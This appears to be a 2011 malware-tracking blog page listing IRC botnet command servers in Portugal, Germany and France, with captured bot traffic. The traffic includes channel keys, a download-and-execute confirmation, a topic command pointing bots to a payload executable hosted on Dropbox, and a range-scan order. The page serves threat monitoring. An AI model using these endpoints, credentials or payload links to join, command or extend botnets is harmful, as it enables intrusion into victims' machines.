Month: June 2011

213.58.198.106(irc botnet hosted in Portugal Lisbon Onitelecom – Infocomunicacoes S.a)

Uncategorized

Remote Host Port Number 213.58.198.106 7107 NICK new[iRooT-XP-USA]694514 USER 4318 “” “TsGh” :4318 JOIN #!MSN! Coded PONG :irc.foonet.com NICK new[iRooT-XP-USA]389985 MODE #!Reklam! PRIVMSG #!Reklam! : OnLine… NICK DeliCocuk USER bruce “mIRC” “kayits.byinter.net” :KendiniBilmeZ JOIN #!Reklam! sikimiye MODE DeliCocuk +i USER 4207 “” “TsGh” :4207 JOIN #!MSN! Coded PRIVMSG #!MSN! :[Download]: Executed Successfully NICK anil USERRead more...

irc.ircatt.info(Gbot variant hosted in Germany Intergenia Ag)

Uncategorized

Remote Host Port Number 188.138.89.21 2444 gBot gBot NICK n{USA|XP}lnatesd USER n{USA|XP}lnatesd 0 0 :n{USA|XP}lnatesd JOIN #Peach mychankey PRIVMSG #Peach :[FileProt]: File protection has been enabled for C:WINDOWSsystem32Windefend.exe Now talking in #Peach Topic On: [ #Peach ] [ .prot http://dl.dropbox.com/u/24455252/bins/java.exe] Topic By: [ Atthackers ] {ARE|W7}ywdxoqh) [FileProt]: File protection already enabled for C:WindowsSystem32Windefend.exe with http://dl.dropbox.com/u/24455252/bins/java.exeRead more...

92.243.19.35(irc botnet hosted in France Gandi)

Uncategorized

Remote Host Port Number 92.243.19.35 1337 NICK [nLh-VNC]eftvsr USER hdadboweq “fo8.net” “rage” :hdadboweq JOIN #VnC# PRIVMSG #VnC# : [RAGE SCAN:] range: 97.x.x.x/94 threads. PONG irc.priv8net.com hosting infos: http://whois.domaintools.com/92.243.19.35